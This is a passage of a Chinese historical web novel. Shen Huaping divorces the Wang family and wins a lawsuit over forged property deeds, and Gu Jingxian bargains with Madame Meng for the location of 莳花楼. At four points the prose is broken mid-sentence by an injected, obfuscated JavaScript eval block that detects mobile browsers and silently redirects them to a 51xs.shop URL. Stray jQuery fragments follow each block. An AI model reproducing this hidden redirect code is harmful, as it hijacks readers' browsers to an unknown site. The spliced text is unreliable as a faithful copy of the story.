沈氏面上浮笑，“若无二位这几日相助，恐我今日也说不出这事。我想……今日回一趟王家，得了和离书，自此一刀两断。”
·
王家院中，王母跪坐在地上，哭天喊地含着“活不下去”、“丧门星”之类的话。
王虎想将其搀起，却反倒吃了个巴掌。
王母心中仍不解气，怒骂道：“你是个不中用的东西，看个女人都看不紧，如今看跑了两个，你还有什么脸面回来！”
王虎不敢多言，只低头跪着。
“我怎么生出你这么个没脑子的东西！”王母指了指王虎的脑门，“你是个什么很有钱的货？家中就剩下这么几个子，全被你带回来那贱人搜刮跑了，你如今可满意了？让你去把沈氏给接回来也接不回来，没了银子，你让我们二人怎么活！不如一道死了，下去见你爹去！”
“我这不是想着，淑娘她有了身孕……”
王母轻蔑地哼了一声，“恐那孩子也是个来路不明的野种！”
顾静娴三人进王家院时，正巧听闻屋内争吵之声。
沈氏短短半月不在，王家院子内的砖石竟生出草来，几个水盆堆放在一处，有衣物，有碗筷，不知放了多长日子，五米开外便已能闻到一股发酸的水臭。
沈氏径直走进自己的房中，却被眼前的场景微微震慑。
屋内杂乱无章，衣服被褥随意地被扔在地上，瓷器摆件也碎了一地，浑像遭了贼。
主屋两位争吵的母子听到开门的动静，也以为有贼，二人忙跑出来，却见半月前来此闹事的两位女子。
王母没好气道：“谁让你们进来的！你们私闯民宅，我要报官抓你们！”
沈氏从屋内走出来，静静地看着王氏母子二人。
王母原想继
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931717|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
续对着沈氏破口大骂，心中思量片刻，觉得她是如今王家唯一的稻草，救命的财神，就忍下了这口气，好言好气道：“我的好儿媳，闹了这么些日子，你总该回心转意回家了吧？”
“婆母，”沈氏站直了身，“你们王家只要拿出一纸和离，今后我必定再不进你们家的门。”
王母的神情变了几变，“你要和我儿子和离？你这一只不会下蛋的母鸡，离了我王家，还有哪个门户要你？”
沈氏道：“这种事，就无需婆母费心了。和离之后，是生是死，怎么活如何活，都是我自己的事。”
王母脸色难看，斜眼瞪了一眼王虎，她心中却有了一个法子，“你既要和离，必是我王家哪里做的不好。可你父亲临终托孤，你贸贸然离了我王家，外人该如何看我们母子二人？”
平日里青天白日打骂她这儿媳都不顾名声不名声，沈氏听出她话中有话，“婆母不妨直言，如何才肯签这和离书？”
王母道：“不妨你留下五十两银子和你嫁妆里的一间铺子，对外言说是为了感谢我们母子二人的照拂，这才留下。把这出好聚好散的戏给做圆了，你也就能得我儿的和离书。如此，我们都得了自己想要的，传出去也能落个好名声。”
沈氏朝顾静娴看去，见顾静娴点了点头，沈氏这才道：“就依婆母的意思。”
王母面上大喜，忙吩咐王虎，“蠢货，还不快为你娘子准备笔墨！”
一纸和离书能换得五十两银子和一间铺子，王虎心中无比激动。早知如此，半个月前就能签了。
那么他的淑娘也不会走……
“不用，”顾静娴开口道，“和离书我们早已备好，只需你们王家签个字。”
顾静娴将和离书从袖间拿出，放至院中石桌之上。
王虎和沈氏二人走上前，沈氏方想提笔签字，却被王虎抓住手。
王虎笑盈盈道：“你当真想好了？”
沈氏不多言语，甩开王虎的手，快速地签了字，又盖上红手印。
王虎便也不再啰嗦，他也照着沈氏做。
待一切落定，顾静娴从腰间摘下孟氏给地玉佩，直言道：“今日虽无旁人作证，可这玉佩是知府夫人相赠，若你们母子二人今后仍不愿好生过日子，非扯些事端出来，也别怪我不客气。”
说罢，顾静娴让忠叔送上银子和一间铺子的钥匙，几人这才离去。
王母拿着钥匙，嘿嘿地笑着。
王虎心中纳闷，“母亲就这么让这贱人走了，若她留着，咱们可是有三间铺子！”
“她人虽走了，可这余下两间铺子咱们还得夺回来。”
“怎么夺？”王虎心中不安，“那戴着帷帽的女子手中可有官府夫人的贴身玉佩，母亲，要不咱们就这样算了吧。”
“我怎么生出你这么个没志气的东西？”王母面上生厌，“我问你，沈氏嫁给你这三年，你可见过这几间铺子的地契？”
王虎摇了摇头。
“她父亲死时，是我在他身侧，她老子咽气时，亲手将地契给了我。咱们王家收回自己的铺子，有何不对？”
14. 公堂
从王家院子出来后，沈氏一身轻松。
她看着那张和离书，对着顾静娴和程绾青二人笑起来，“我终于自由了。我再不用成别人口中的王虎媳妇，我沈画屏，终于是我自己了。”
顾静娴也笑了，“画屏，姐姐有个好名字。如今离了王家，天高任鸟飞，沈姐姐可以好好为自己好好添几抹色彩。”
沈画屏点头，“求别人不如求己，我如今最后悔的，就是父亲在世时未曾继承他的衣钵。”
“如今开始，也不晚。”顾静娴说，“姐姐想好今后如何行事了？”
“若殷姑娘不嫌弃，便收我为徒吧。我若有一技之长傍身，终归是饿不死的。”
顾静娴道：“沈姐姐说得这是哪里的话，便是扯不上师徒二字，我也定帮姐姐。”
程绾青掩面淡笑了一声，随后对着沈画屏道：“殷姑娘吩咐你拿的东西，你可都拿到了？”
“都拿了。”她长舒一口气，“进屋子时见那般光彩，我本心道不好，所幸藏得隐蔽，他们未曾发现。”
“等王家母子上钩，”顾静娴道，“此番我定颗粒不留，全为姐姐夺回来。”
程绾青对着顾静娴问：“多日过去，如今和离书已得，孟夫人让我问问你，何时再为她医治？”
“王氏母子方得了几两银子，自有几日可以喘息，”顾静娴笑道，“等哪日他们坐不住了，再为孟夫人请脉也不迟。程姐姐只需同她说，此药调理越长久，身子便恢复的越好。”
·
话说那王虎果真如顾静娴所料，得了那五十两银子后，并未急着来夺其余两间铺子，倒常日里游走烟柳之地，流连忘返，乐不思蜀。
酒桌上，王虎吃得烂醉，他硬撑着站起身子，酒杯重重一扬，里面的酒水泼洒而出，落在桌上的菜品之中。
王虎将这杯撒了一半的酒一口干了，他那张醉酒而殷红的脸上露出浓重的笑意，对着酒桌上其余二人说道：“二位若助我，日后夺回那两间铺子，收成我分你们一人二成！”
能与王虎一道喝酒的，自不是什么心地良善之人。正所谓物以类聚人以群分，他二人见钱眼开，也端起酒杯，忙不迭追问道：“不就三个女子，虎大哥何须如此担忧！你只管跟兄弟二人说说，想我们如何做？”
王虎昏沉沉地坐下，随后重重将酒盏扔出，撞在隔屋木门上，顷刻间碎了一地。
隔壁屋子中，剑来被这突如其来的杯盏撞击声吓到。他恶狠狠地盯着木门，没好气道：“什么腌臜东西，吓我一跳！”
朱华庭做出噤声的动作，剑来忙闭上嘴，渐渐地听得隔壁传来一言——
“那戴帷帽的姑娘，是个难缠的东西，若没她，沈氏那贱蹄子哪敢闹到这种地步！”
“我想劳烦两位，明日堂上，多多为我美言几句。”
“这有何不敢？你们二位竟连这般胆子都没！罢罢罢，原本我还各带了十两银子作为两位的报酬，如今看来不如我自己留着逍遥算了。”
“那就一言为定了，明日就拜托二位了，定要替我好好灭灭这贱人的嚣张气焰！”
“事成之后，这几位姑娘我也定想法子送到二位府上，春宵一刻值千金呐！”
等这三人明谋结束离了屋子，屋内一切归于无声，剑来啐了一口，怒道这三个不是好玩意。
“这还是人？”
“跟上瞧瞧。”朱华庭对着剑来说。
剑来会意，忙跟了上去。
等剑来出去，站在窗侧的苍翊开了口，“王爷让属下查得那人，打听到了。”
他浑身黑衣，头上还戴着一顶黑色的斗笠，甚至连手中拿着的剑都是一柄通体乌黑的长剑。浑身上下除了黑色，不见其他。
朱华庭品了口茶，“如何？”
苍翊道：“属下顺藤摸瓜，打听到那人被姜松施以极刑后，扔进了乱葬岗。”
闻言，朱华庭放下手中的杯子，他微垂着眼，漫出彻骨寒意，“死了？”
“未曾，”苍翊道，“去乱葬岗那二人林易之他们有恩，原想假意做抛尸状，等姜松的眼线走后再将其带回医治。却不曾想，他们还未动身，便有人捷足先登了。”
“什么人？”
“一位上了年纪的婆子，和一身材魁梧的壮士。”
朱华庭的眼睛突然睁开，那双黑眸宛如一片波澜不兴的湖，“接着查。”
“是。”苍翊道，“可是那莳花楼，恕属下无用，暂时还没查到有用的线索。”
“盯着姜云炳，他总有一天会耐不住寂寞。”
·
陆陆续续又下了好几场雨，阴雨天的街上，人迹寥寥，略显清冷。
好容易晴了一会，却不过一盏茶的功夫，乌云重新开始翻滚，天又阴沉下来。
纷纷扬扬的雨点从天而降，沈氏药铺中，众人手忙脚乱将晒在外头的药收回店中。
柳芸娘被叫来搭手，她看着这突如其来的雨，拍了拍身上的雨水，没好气道：“这怪天气，前一刻还艳阳高照，怎么突然就下起雨来。”
沈画屏细心地将被雨水淋湿的药材拿出，搭腔道：“若无诸位相助，这些药恐怕都要遭殃了。”
话音一落，门外突然走进两个官差，“有人报官，说你们霸占了他的铺子，诸位请随我们二人走一趟吧。”
沈画屏反驳道：“公差大人这是哪里的话，这铺子本是我的，何来霸占一说？”
官差讪笑道：“这话娘子别同我说，我只不过是个传话的，你要想伸冤，去知府大人面前说去。”
几人来到公堂时，王家母子早已站在，他们二人见几位前来，不怀好意地笑了几声。
除这母子二人之外，王家街坊邻居也已站了一圈。他们有些忧心忡忡，有些趾高气昂，想来定是收了王家的银子。
王虎站直身子，对着知府大人说道：“禀大人，就是这三位女子，夺了我王家铺子。”
顾静娴由面纱遮面，一双眸子冷冽如寒星，死死地盯着王虎道：“我先前同你说得那些话，我看你如今已是混忘了。”
王母嘟囔着脸上前，指着顾静娴的脸道：“大人，就是她！此女子罪大恶极，教唆我家媳妇与我们离心，如今又闹出这些事情出来，大人定要好好惩罚她！”
知府大人淡漠地看着堂下几人，怒拍惊堂木道：“肃静！”
待堂下归于平静，知府大人又道：“王氏状告沈氏霸占你们铺子，可有证据？”
王虎自信满满道：“自然有，草民有铺子的地契为证。”
昨夜同王虎密谋的男子站在一侧的人群中，扇风道：“有了地契，看这沈氏如何翻身。”
另一人搭腔道：“死罪能逃，活罪难免，且有好戏看呢！”
“呈上来。”
那官差方从王虎手中拿了地契，就听闻身后传来沈氏的声音，“启禀大人，民女亦有一份地契，还望大人过目。”
一言出，王氏母子面上露出短暂的惊愕神情。
王虎朝着那二人看了一眼，其中一位忙搭腔道：“这沈氏为了钱可真是无所不用其极啊，居然还敢假造地契，那可是要受流放之刑的啊！”
有人不解，“你怎么断定沈氏手中的一定是假的？”
“王家手中的地契，那可是沈怀中临死前相赠给王夫人的，那还能假？”
那人听出不对劲，“那照你的意思，这铺子本就属于沈家。”
男子吃瘪，圆话道：“相赠二字有那么难理解？罢了罢了，我同你说不清楚，你就看沈氏一会如何遭殃就成了！”
双方的地契呈于知府面前，他仔细端详片刻，又一拍惊堂木。
知府看向沈氏道：“大胆草
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954759|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
民，可知私造假契是何罪？”
沈氏被知府这一眼盯得心中发怵，站在一旁的顾静娴接了话，“按大昭律法，私造假契者，流放三千里。”
那两位男子中的其中一位笑道：“这位小娘子既懂大昭律法，怎么还敢做出这种事情来。”
顾静娴看向他，淡淡道：“可你怎么就能断定，不是王家地契造假，而是我们？”
“那可是沈老亲手相赠，怎会有假？要我说，这沈氏就是人心不足蛇吞象，得了王家多年收留庇护却不懂得感恩，如今和离翅膀硬了，还想着把自己老父亲相赠的铺子夺回来，也不怕他老人家泉下不得安生？！”
顾静娴平静地问：“沈老相赠，谁亲眼见了？”
那男子自觉胜券在握，拍着胸脯说：“我见了，如何！”
顾静娴不再搭腔，看向知府大人，“孰是孰非，还请大人给个准话。”
知府面上严肃，向王氏母子看去，“大胆王虎，私造地契还敢贸然来此报官，视天家律法无无物，给我拿下！”
王虎听言，原本正色的脸霎时吓得惨白，他不可置信道：“大人，你是不是弄错了？不应该抓这三个贱人，怎么成抓我了？”
王母面上大骇，忙将王虎护在身后，“这几张地契是亲家公亲手交给我的，怎会有假？还望大人明察，别冤枉了我们好人！”
知府大人无奈摇了摇头，“本官为官多年，区区一张地契又怎会分辨不出真假？”
“那可就不可知了，”王母哼了一声，指着顾静娴道，“这贱人诡计多端，怕不是知府大人收了她的银子，这才偏袒她们！”
听王母一言，知府面上挂起怒意，他怒拍了惊堂木，“放肆！”
看着王氏母子乱了阵脚，沈画屏笑道：“父母之爱子则为之计深远，我父亲虽病入膏肓，人却不糊涂。沈家地契，又怎会轻易交给他人之手？也怪我沈氏门户清冷，父亲无处托孤，这才择了你们。”
“我们王家养了你三年，竟养出这么一个白眼狼！”王母怒道。
沈画屏眼中逐渐禽泪，语气愤愤，“到底是你们王家养我，还是我养你们王家？我沈氏家财，有多少进了你们王家的口袋，你们自己还记得清吗？”
王母仍旧不知悔改，继续狡辩，“你既然嫁进我王家，自是我王家之人，咱们就是一家，何必分个你我？”
沈画屏不屑道：“若咱们婆媳和睦，夫妻相敬如宾，本不用走到如今的地步。只可惜你们王家人心不足蛇吞象，如今倒也怪不得旁人。”
待二人争辩一番，知府打断道：“王家母子即刻关入大牢，不日流放西北三百里。”
“堂下那二位，也拿下。”
后面这话却不是知府所说，而是从大门处传来。
顾静娴循声看去，一道挺拔的身影闲庭信步而来，步子不疾不徐，像是乘着一道清风白云。
是朱华庭。
她提了提面纱，背过身去。
那两位男子想逃，却被剑来三两下后似抓小鸡仔般抓了起来。
剑来擒着二人，对着王虎嘿嘿一笑，口中重复了昨日夜里他在酒肆所言之语，“明日就拜托二位了，定要替我好好灭灭这贱人的嚣张气焰！”
王虎大惊，“你……！”却半天也再说不出话来。
朱华庭从顾静娴身侧走过时，身形一顿。待坐上位置，他对着知府缓缓道：“昨日夜里不巧听闻这三人暗谋，想来今日一案定是热闹，因此本官特来瞧瞧，不算打扰吧？”
“都御史大人这是哪里的话……”
知府话未说完，便被朱华庭打断，“嘘寒问暖的话待会再说，如今断了这冤情才是要事。”
闻言，顾静娴朝着沈画屏使了个眼色。
沈画屏跪地，眼中禽泪道：“民女还要状告王家，私占我沈家祖宅一事。”
15. 公堂（贰）
“你个死贱蹄子，”王母怒骂道，“在这里胡说些什么东西！”
沈画屏不理会王母，跪地道：“大人，民女要状告王家伙同其亲戚，私占我沈家祖宅。”
“贱人！”王母继续骂道，“打量着有人撑腰，你是要置我们母子于死地！”说着，王母又哭嚎起来，“哎哟——怪我家门不幸呐，娶了个媳妇，竟想让我和我儿死无葬身之地！”
顾静娴嗤笑道：“早知今日，何必当初？”
“你！”王母被气昏了头，往顾静娴所站之地冲去，她高举双手，摆出一副要掐死顾静娴的架势来。
可官府重地，又岂容她在此放肆？
朱华庭朝剑来看了一眼，剑来便快速夺了身侧衙役手上的庭杖，抽身上前。
可怜那王母还未近顾静娴的身，就被剑来用大棍子将她架回了原地。
王母再没了念想，瘫坐在地上嚎啕大哭起来。
朱华庭唇角扯出一丝不屑，对着知府说：“既有冤情，不如将人传来，今日一并了结了。”
“是。”知府大人毕恭毕敬地应声，随后大声道：“传王家人来！”
一盏茶的功夫后，四五个人被押到堂上。
沈家祖宅自打沈画屏嫁入王家后，就一直被王母胞弟刘庄占着。不过住了三年，他们一家就将这祖宅认作自己的东西，再不愿意归还。
刘庄见自己的亲姐跪地大哭，问道：“阿姐，这是怎么了？好端端的，怎么闹到官府来了？”
王母哪还顾得上回自己这胞弟的话，刘庄不闻回应，又对着王虎道：“好外甥，这到底是怎么了？”
王虎也像泄了气的皮球，只丧着一张脸。
“我的好舅父，”倒传来沈画屏的声音，“这三年，我沈家祖宅住得可还舒坦？”
刘庄这才注意到跪在另一侧的沈画屏，他脑中急转，像是想明白了，忙抬头看向知府大人，“大人，冤枉啊！”
“本官问你，你们如今所住之地，可是沈家祖宅？”
刘庄额间瞬间布满细微的汗，他脸色红温，颤颤巍巍道：“回……回大人，是……是的。”
还未等知府再说话，刘庄猛地磕了一个头，霎时间额间破皮，几滴殷红的鲜血渗出来，“可是大人，这一切……都是我阿姐安排的！”
跪地痛哭的王母忽的止住了哭声，她一脸不可置信地盯着刘庄，带着哭腔道：“阿弟，你这是要害死阿姐吗？”
“阿姐，”刘庄不留情义道，“咱们刘家单代相传，总不好这香火在我手上断了吧？那样，你让我怎么去见列祖列宗。况且——让我去沈家祖宅的意思，不就是你说得吗？”
“难道我就不是刘家人？你！你大义灭亲，列祖列宗就想见你了？！”
刘庄神色逐渐轻慢，“阿姐这话就错了，你既嫁入王家，那就是王家女，死了葬得也是王家坟。我刘家祖宗，自保我刘家儿女。”
“你！”王母被刘庄这番话呛得气不打一处来，她又哭起来，“好你个死货，当初是谁到我面前哭着喊着说过不下去了！若不因此，我又怎会出此下策！”
“姑姐这是变相承认了？”，刘庄家的道，“我们夫妻二人是同姑姐说过这话，可又怎会想到这屋子是人家沈氏娘子的？我们若知晓，就算给我们一百个胆子，也是不敢去住的。”
王虎面上不喜，“舅母这是打算将自己家择得干干净净，好事全由你们享去，这坏事就留我们母子担着？”
刘庄家的道：“大外甥，早年间舅母就曾劝过你，要好好待人家沈娘子，你不听劝，落得如今这么一个下场，怨得了谁去？”
“舅母，你和舅父二人果真如此不留情义？”
刘庄家的笑道：“常言道，夫妻大难临头还要各自飞，咱们左右不过沾点血亲罢了。何况这事，本就是你王家不对，如今告到知府衙门，自有大人们做主。另说，再如何讲情义，也论不过理法吧？”
说完，刘庄家的又对着沈画屏轻笑道：“沈娘子，你说是吧。”
“舅母这话，说得可比唱得好听。”沈画屏朝刘庄家的看去，“舅母当真不知晓那是我沈家祖宅？那我先前来讨要钥匙，又是谁将我打骂出来。”
刘庄家的不语，她的手紧紧捏着衣袖，暴露了她本不平静的内心。
一旁跪着的刘庄也跟着担忧起来，原以为站在沈氏那边，她会手下留情，未曾想一句话，又将自己陷入困境。
短短数月不见，这沈氏变得竟同先前相比，完全不似一个人。
“大人，侵占我祖宅一事，乃王、刘两家同谋。”
刘家诸位面上大骇，大喊冤枉。
知府对着王虎道：“对于沈氏这一言，你可认同？”
王虎恶狠狠地瞪了一眼自己的好舅父，刚正不阿道：“沈氏所言极真！”
惊堂木又响，知府道：“人证物证俱在，刘庄，你可知罪？”
刘庄还想狡辩，“大人，是他们王家想害我！他们的话，如何能做证！”
知府自然不是昏庸好糊弄的，“若王氏母子所言有假，可沈氏呢？再者，沈氏祖宅中所使的物件，哪样不是你刘家的东西？”
“大人，这……”
知府不再多言，他道：“照大昭律法，私占宅地者，罚狱五载。”
刘庄家的仍不死心，她跪着爬向沈画屏，拉着她的衣袖哭道：“沈娘子，好娘子，你就饶了我们，你只一句话就可饶了我们！”
沈画屏甩开刘庄家的手，用刘庄家的自己的话堵嘴，“舅母怕不是忘了自己先前所言，再如何讲情义，也论不过理法吧？”
刘庄家的接不上话，一声“退堂”声起，刘、王两家人皆被羁押下去，此案到此，尘埃落定。
堂内，看热闹之人退散，登时又重归宁静。
顾静娴上前将沈画屏搀扶起来，转身方想离去，却被剑来拦了去路。
“娘子，我们大人有请。”
顾静娴止步，她向后看去，见朱华庭站立身子，秀逸如玉，青松挺拔。
顾静娴稍沉了眼，她福身道：“不知大人找民女有何要事？”
朱华庭抬起手，剑来忙将五两银子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007208|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
递上。他目光凝了片刻，出声道：“我这手下不懂事，那夜姑娘赏赐的钱需还给姑娘。”
顾静娴不懂朱华庭到底何意，从先前的还伞到现在的还钱，她总觉得他心意不纯。
顾静娴不敢贸然上前，只呆呆地站着。
朱华庭补充道：“只可惜姑娘的钱袋子被本官弄丢了，若要赔银子，姑娘尽管开口。”
顾静娴又见剑来将那把油伞拿出，她莞尔一笑道：“大人好生奇怪，大人是觉得这伞配不上救命的恩情吗？”
朱华庭：“？”
“姑娘误会了，是……”
顾静娴未等其说完，打断道：“大人既不这样想，又何故要将其送回来。那夜你们救了我，这伞以报救命之恩。若你们将伞送回，那我这命大人可也要拿回去？”
剑来睁大了双眼，迟疑地看向朱华庭。心中暗道，真是好一张伶俐的巧嘴。
朱华庭被噎得接不上话。
顾静娴又道：“这点银子，是赠给这位小公子的。若非大人执意要将这伞送回，我本可以将其给自己买脂粉头油。可我不忍小公子冒雨前来，这才赠他热茶钱。”
言下之意，这钱她也不会拿回去。
不仅不会拿回去，这钱还要还给剑来。
朱华庭仍旧接不上话。
须臾，他沉默地将手放回去，目光转向剑来那边。
“剑来，送姑娘出去。”说完，他将这些银子交还给了剑来。
接过银子，剑来两眼冒光，喜滋滋道：“是！我定将几位姑娘，好好送出去！”
走出府衙大门时，顾静娴转身对剑来道了声谢。
几人正欲转身登车，不远处却传来张妈妈的声音，“殷姑娘且留步。”
顾静娴身形一顿，剑来也止住了转身进屋的步子。
张妈妈缓步走上前，面上浮笑问：“如今沈娘子一事尘埃落定，不知殷姑娘何时再问我们夫人瞧瞧？”
三人朝着张妈妈行了一礼，顾静娴将腰间的玉佩摘下，待张妈妈接过，方道：“今日夜里，同先前一个时辰，我在沁心堂等候夫人。”
张妈妈笑道：“那就有劳姑娘了。”
剑来将一切听得格外清晰，他快步如箭，回了朱华庭的值房。
进屋时，他刚要开口将方才所见说与朱华庭听，却见自家公子手上握着一个钱袋。
朱华庭遮盖的速度虽快，可剑来还是瞧清楚了。
这钱袋，不就是刚刚被自己送出去那姑娘所赠得吗？
剑来嘿嘿一笑，小步近朱华庭的身，“王爷不是说，这钱袋子丢失了吗？”
朱华庭心中有愧，却正色道：“多言。”
剑来点到为止，若再多说，怕是要领好果子吃。
他忙岔开话题，“王爷，方才我去送人时，见了孟夫人的人特地来找那位蒙面的姑娘。”
“特地？”
剑来点头如蒜捣，“正是正是，好像还约了今日夜里在……”他一时间想不起是哪，脑中猛转片刻后拍了拍胸脯，想起来了，“在沁心堂相聚！”
16. 二诊
世间万物都被笼罩在一片静谧之中。
剑来双足一顿，身子腾空跃起，游走于墙头之上。
最后身子轻轻一跃，于沁心堂屋顶上稳稳而立。
他掀开一处瓦片，只见月光透过树叶照进沁心堂内，一阵微风轻略而过，树影细碎拨动。
桌台上，顾静娴倒了杯热茶，递于孟氏面前。
顾静娴轻笑道：“多谢夫人相助。”
孟氏心不在感谢，她扯了扯嘴角，“你既事成，那我这身子？”
“民女答应过夫人的，一定会办成。”
孟氏不多言，只将手放至软垫上。
顾静娴伸手把脉，不过尔尔，大喜道：“恭喜夫人。”
闻言，孟氏双眼闪出一丝亮色，她道：“有了？”
“脉象归稳，但还未曾有喜。”
孟氏脸色一沉，“那喜从何来？”
“夫人求子，自求得是健健康康的孩子，若不调理好身体，民女如何敢助夫人怀胎。”
孟氏浓眉一挑，来了兴致，“那我这身子现今如何了？”
“夫人先前脉细而弱，是阴气耗损的脉象。脉细无力，血液亏损，气血不足，自不易怀胎。”
顾静娴顿了顿，又道：“我给夫人的方子当以血生血为主，使血液充盈，如今调理得当，夫人气血旺盛，才是怀胎的好时机。”
这一番话，孟氏未必听得明白，但最后八个大字她倒是真真切切地听进去了。
孟氏抬眸直勾勾地盯着顾静娴，忽地笑了。
昏暗灯光下，愈发显得顾静娴的眸子漆黑。
她从一旁的药箱中拿出一粒丸药，神情微缓，眉梢显露出意思不易察觉的笑意。
孟氏问：“这是何物？”
“本朝秦湘妃就是以此药才得二皇子。”
孟氏又问：“此药唤何名？”
“微星养宫丸。”
孟氏面上变得云淡风轻，可顾静娴知其心中所想，清笑道：“此方乃宫中秘方，夫人就别想着能到别处寻得了。”
闻言，孟氏面上一滞，“姑娘果真料事如神。”她伸手去拿，却被顾静娴躲开，“这是何意？”
“这药，还得看孟夫人受不受得住，”顾静娴将手回退，“一旦用了此药，每半月就需来我这再拿一粒，一直到三月胎稳。”
孟氏嘴角牵起一个不安的笑，此法她心中也没底，可为了孩子……她顿了顿，喉咙里挤出一句话，“我愿意。”
可顾静娴却未将药递出，她直勾勾地盯着孟氏。
孟氏心中不明所以，“姑娘这是？”
“我这的规矩，恐夫人还不甚清楚，”顾静娴道，“之前为夫人调理身体，是以沈姐姐和离一事做报酬。如今二诊拿药，可不能就这么轻易拿了。”
孟氏面露不悦，“那你这次要如何才能将药给我？”
“我只要询问夫人一个地方。”
“何地？”
“莳花楼。”
孟氏的脸变得严肃起来，她眉眼深深，透露出两分冷厉。良久，她拧出一抹不悦，肃声问：“你一女子，打听那里作甚？”
顾静娴唇边勾起一抹笑，遮掩在面纱之下，“莳花楼专供官府贵人，听闻那里洒金银如洒水，小女子想去见见。”
孟氏脸上地表情变了又变，她看着顾静娴手中的药，心中多番搏斗后，终于说出了口。
“青华山。”
偷看到此，剑来深吸了一口气。他将瓦片重新归位，脚尖稍一使力，身子重新凌空而起，于暗夜之中快速离去，不过须臾便不见踪迹。
孟氏到最后也没搞明白面前这位丫头的意思，她只稀里糊涂地吃了那粒丸药，便被带了出来。
顾静娴福了福身，“夫人照我的话，行事之日放于三日之后，此番若是不成，我这条小命交给夫人处置。”
孟氏看着面前的女子，心中百味杂陈。
顾静娴向孟氏身前进了一步，凑在耳侧轻声道：“若是事成，夫人也别忘答应我的事。”
孟氏狐疑地盯着顾静娴看了片刻，随后眼色一沉，轻道了声“知晓了”便由张妈妈扶着走了出去。
前脚孟氏刚走，后脚忠叔便从屋外大步行进。
顾静娴缓缓落座，问：“怎么样？”
忠叔道：“果真如姑娘所料，那位大人身侧的小侍卫真的来了。”
顾静娴本波澜不惊的眼神里泛起一丝涟漪，却很快如常。
秋霜一脸愁容，“姑娘到底要做什么？”
顾静娴的双眼逐渐有坚决之色浮起，“既要深入虎穴，必得有所退路才方可动身。”
·
剑来几乎用尽了全身的力气才回到衙门，他气喘吁吁地进了朱华庭的值房，大声道：“王爷，大发现！”
朱华庭正坐桌前，神色平静无波澜，“什么？”
剑来大喘着气，却压低了声音，“我知道莳花楼的位置了！”
闻言，朱华庭倏地站起身，他抬起眼睫，直直地盯着剑来，“说。”
“在青华山！”
朱华庭眉头紧蹙，渐渐地一切又都平静下来，只剩一抹浓重如雾的思虑之色。
他问：“这消息从何而来？”
“王爷让我去沁心堂偷看那姑娘和孟夫人相会，这消息便是由孟夫人亲口说的。”
朱华庭不解，“孟氏何故开口？”
“说来也怪，是那位姑娘自己开口问得。”
朱华庭眼神中充满了迷茫之色，他又想起自己方来淮州的第一日夜里。
那位醉云馆，红绡口中那位寻找周元霜的落水逃走的小娘子。
想到此，他竟不知不觉地浅笑出了声。
剑来看着朱华庭的样子，不解地挠了挠头，“王爷，接下来咱们该如何行事？”
“你让苍翊这几日盯紧这位小娘子，一有什么风吹草动即刻来报。”
“是。”
·
一日又过，亥时三刻。
忠叔又套了马车，载着顾静娴往青华山赶去。
刚入夜时尚有一轮明月高悬于天上，等马车驶出沁心堂那轮明月却渐渐地被黑云遮盖，不过半个时辰，二人就近青华山时偏又下起了雨来。
雨过路滑，尤其是山中泥泞的土路。
原本颠簸的马车突然止住，忠叔大声道：“不好了姑娘，咱们的车陷进坑里了。”
顾静娴不慌不忙道：“忠叔不急
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037540|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，你且重新驾马试试，若是不成咱们走路上去。”
忠叔领意，又重新抽鞭御马，可不管怎样，除了车身在马的拉动下晃动了几下，却仍旧无法将其从坑中拉出来。
另一旁，三个男人站在一颗大树之下。
剑来偏头看向朱华庭，问：“王爷，可要去帮帮忙？”
朱华庭看着远处像蛆虫一样蠕动的马车，轻叹了口气。
他转身对苍翊道：“你悄悄摸上山去，看看此地当真有孟氏所说地莳花楼。”
“是。”苍翊领意上山。
朱华庭又转头对剑来道：“你，上前帮忙。”
“是。”剑来领意冲着马车跑去。
几番下来马车仍旧纹丝不动，忠叔抹了一把面前不知是雨水还是汗水的水珠，又对着身后道：“不成啊姑娘。”
顾静娴探出身子，她道：“我去找根棍子，你在此等候。”
说罢，顾静娴跳下马车，从两侧杂草之中挑选了一根较粗的木棍，她冒雨将木棍顶在车轮之上，对忠叔道：“忠叔，咱们再试试。”
